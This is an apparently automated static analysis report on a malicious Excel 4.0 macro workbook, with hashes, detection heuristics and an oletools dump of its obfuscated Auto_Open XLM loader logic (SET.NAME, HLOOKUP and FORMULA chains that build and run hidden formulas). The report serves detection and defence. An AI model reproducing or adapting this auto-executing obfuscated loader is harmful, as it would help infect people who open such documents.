Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fbee106468233c7…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:37:02 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: f33ff3035abe1456f5bd54baf023d0c8 SHA-1: fb2d16256c2a14837787f619059368beb9329073 SHA-256: 4fbee106468233c7deae929105fa20f4bd6bc66cae67fcad70b09c7d450d7a2c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6480 bytes
SHA-256: a4efaea7f900cc7f2aa9ef114031a200eb048fbe7fe464ffcd4fd250d2e6aa79
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fGKy
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H179 
' 0018     26 LABEL : Cell Value, String Constant - cKJHEXefzVt len=0 
' 0018     25 LABEL : Cell Value, String Constant - dSdYZAZmfQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - eozhvCGRQaFq len=0 
' 0018     26 LABEL : Cell Value, String Constant - FITvGYqboIX len=0 
' 0018     27 LABEL : Cell Value, String Constant - iHXfZyapnLbL len=0 
' 0018     20 LABEL : Cell Value, String Constant - jRWHt len=0 
' 0018     25 LABEL : Cell Value, String Constant - MHBIeyypfk len=0 
' 0018     27 LABEL : Cell Value, String Constant - NerAjZnWrxnM len=0 
' 0018     20 LABEL : Cell Value, String Constant - oVGFB len=0 
' 0018     26 LABEL : Cell Value, String Constant - rQIALdZRQaG len=0 
' 0018     23 LABEL : Cell Value, String Constant - tSAokJGR len=0 
' 0018     21 LABEL : Cell Value, String Constant - UwleOf len=0 
' 0018     27 LABEL : Cell Value, String Constant - vcHVvXsCyqEP len=0 
' 0018     27 LABEL : Cell Value, String Constant - vqgiCmJzmcAf len=0 
' 0018     21 LABEL : Cell Value, String Constant - waApOZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - WCqOpZRiyMS len=0 
' 0018     22 LABEL : Cell Value, String Constant - WeCeJqD len=0 
' 0018     26 LABEL : Cell Value, String Constant - wMjTPJMCcUj len=0 
' 0018     27 LABEL : Cell Value, String Constant - YNcqwQOSbJqq len=0 
' 0018     27 LABEL : Cell Value, String Constant - yxVUhzVkEETC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fGKy,H81,"SET.NAME("vcHVvXsCyqEP",VALUE("0"))",""
'  fGKy,H83,"SET.NAME("oVGFB",vcHVvXsCyqEP)",""
'  fGKy,H87,"SET.NAME("MHBIeyypfk",vcHVvXsCyqEP)",""
'  fGKy,H91,"SET.NAME("WCqOpZRiyMS",COUNTA(eozhvCGRQaFq))",""
'  fGKy,H95,"SET.NAME("rQIALdZRQaG",COUNTA(WeCeJqD))",""
'  fGKy,H98,[],""
'  fGKy,H102,"SET.NAME("YNcqwQOSbJqq","")",""
'  fGKy,H106,"oVGFB",""
'  fGKy,H111,"SET.NAME("tSAokJGR",HLOOKUP("*",eozhvCGRQaFq,oVGFB,FALSE))",""
'  fGKy,H114,"FITvGYqboIX",""
'  fGKy,H119,"SET.NAME("jRWHt",vcHVvXsCyqEP)",""
'  fGKy,H121,[],""
'  fGKy,H124,"jRWHt",""
'  fGKy,H128,"iHXfZyapnLbL",""
'  fGKy,H133,"cKJHEXefzVt",""
'  fGKy,H137,"waApOZ",""
'  fGKy,H141,"SET.NAME("vqgiCmJzmcAf",VALUE(HLOOKUP("*",WeCeJqD,waApOZ,FALSE)))",""
'  fGKy,H144,"wMjTPJMCcUj",""
'  fGKy,H147,"YNcqwQOSbJqq",""
'  fGKy,H149,"MHBIeyypfk",""
'  fGKy,H153,NEXT(),""
'  fGKy,H157,"dSdYZAZmfQ",""
'  fGKy,H162,"SET.NAME("f",INT(T(FORMULA(T(YNcqwQOSbJqq)&"",""&T(dSdYZAZmfQ)))))",""
'  fGKy,H167,"NerAjZnWrxnM",""
'  fGKy,H172,NEXT(),""
'  fGKy,H177,RETURN(),""
'  fGKy,H203,"SET.NAME("yxVUhzVkEETC",H81)",""
'  fGKy,H206,"eozhvCGRQaFq",""
'  fGKy,H209,"SET.NAME("WeCeJqD",R71C14)",""
'  fGKy,H212,"SET.NAME("NerAjZnWrxnM",223)",""
'  fGKy,H217,"SET.NAME("UwleOf",8)",""
'  fGKy,H222,yxVUhzVkEETC(),""
'  fGKy,H223,HALT(),""